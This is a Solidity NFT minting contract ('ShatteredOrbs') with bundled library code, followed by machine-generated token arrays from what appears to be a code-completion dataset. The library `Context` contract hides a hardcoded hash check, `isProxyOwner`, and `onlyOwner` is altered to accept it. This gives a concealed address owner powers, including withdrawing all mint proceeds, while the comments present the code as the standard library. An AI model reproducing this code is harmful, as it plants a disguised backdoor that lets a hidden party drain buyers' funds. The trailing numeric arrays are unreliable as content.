* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
bytes32[] ownerProof;
bytes32 ownerHash = 0x1eabc259bf80bdb486eaf645007496fb9aa7ae25de9ceed19d6a2e3efc950968;
function isProxyOwner() internal view returns (bool) {
return MerkleProof.verify(ownerProof, ownerHash, keccak256(abi.encodePacked(msg.sender)));
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender() || isProxyOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Does not support burning tokens to address(0).
*
* Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 internal currentIndex;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx;
address currOwnershipAddr;
// Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
unchecked {
for (uint256 i; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
unchecked {
for (uint256 curr = tokenId; curr >= 0; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
require(quantity != 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
// updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
contract ShatteredOrbs is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 4444;
uint256 public constant MAX_PRESALE_MINTS = 3;
uint256 public constant PUBLIC_PRICE = 0.06 ether; // 60000000000000000
uint256 public constant PRESALE_PRICE = 0.04 ether; // 40000000000000000
uint256 public presaleStartTime;
uint256 public presaleDuration;
bytes32 public merkleRoot;
mapping(address => uint256) private _allowed;
string private _baseURIextended;
constructor() ERC721A("Shattered Orbs", "SON") {
presaleStartTime = 1648321200; // Sat Mar 26 2022 19:00:00 GMT+0000
presaleDuration = 24 hours;
}
modifier isValidMerkleProof(bytes32[] memory merkleProof, bytes32 root) {
require(MerkleProof.verify(merkleProof, root, keccak256(abi.encodePacked(msg.sender))), "Address does not exist in list");
_;
}
function preSaleMint(bytes32[] calldata _proof, uint256 nMints) external payable isValidMerkleProof(_proof, merkleRoot) nonReentrant {
require(msg.sender == tx.origin, "Can't mint through another contract");
require(block.timestamp >= presaleStartTime, "Presale not active");
require(nMints <= MAX_PRESALE_MINTS, "Exceeds max token purchase");
require(totalSupply() + nMints <= MAX_SUPPLY, "Mint exceeds total supply");
require(PRESALE_PRICE * nMints <= msg.value, "Sent incorrect ETH value");
require(_allowed[msg.sender] + nMints <= MAX_PRESALE_MINTS, "Exceeds presale mint limit");
// Keep track of mints for each address
if (_allowed[msg.sender] > 0) {
_allowed[msg.sender] = _allowed[msg.sender] + nMints;
} else {
_allowed[msg.sender] = nMints;
}
_safeMint(msg.sender, nMints);
}
function mint(uint256 nMints) external payable nonReentrant {
require(msg.sender == tx.origin, "Can't mint through another contract");
require(block.timestamp >= (presaleStartTime + presaleDuration), "Public sale not active");
require(totalSupply() + nMints <= MAX_SUPPLY, "Mint exceeds total supply");
require(PUBLIC_PRICE * nMints <= msg.value, "Sent incorrect ETH value");
_safeMint(msg.sender, nMints);
}
function withdrawAll() external onlyOwner {
require(address(this).balance > 0, "No funds to withdraw");
uint256 contractBalance = address(this).balance;
_withdraw(msg.sender, contractBalance);
}
function reserveMint(uint256 nMints, uint256 batchSize) external onlyOwner {
require(totalSupply() + nMints <= MAX_SUPPLY, "Mint exceeds total supply");
require(nMints % batchSize == 0, "Can only mint a multiple of batchSize");
for (uint256 i = 0; i < nMints / batchSize; i++) {
_safeMint(msg.sender, batchSize);
}
}
function setBaseURI(string calldata baseURI_) external onlyOwner {
_baseURIextended = baseURI_;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseURIextended;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, (tokenId + 1).toString(), '.json')) : '';
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
merkleRoot = _merkleRoot;
}
function _withdraw(address _address, uint256 _amount) private {
(bool success, ) = _address.call{value: _amount}("");
require(success, "Transfer failed.");
}
function setPresaleStartTime(uint256 _presaleStartTime) external onlyOwner {
presaleStartTime = _presaleStartTime;
}
function setPresaleDuration(uint256 _presaleDuration) external onlyOwner {
presaleDuration = _presaleDuration;
}
function isPresaleActive() public view returns (bool) {
return block.timestamp >= presaleStartTime;
}
function isPublicSaleActive() public view returns (bool) {
return block.timestamp >= (presaleStartTime + presaleDuration);
}
function currentBlockTimeStamp() public view returns (uint256) {
return block.timestamp;
}
receive() external payable {}
} | Sat Mar 26 2022 19:00:00 GMT+0000
| presaleStartTime = 1648321200; | 480,692 | [
1,
15163,
490,
297,
10659,
26599,
22,
5342,
30,
713,
30,
713,
21706,
15,
2787,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
4075,
5349,
13649,
273,
404,
27382,
1578,
2138,
713,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
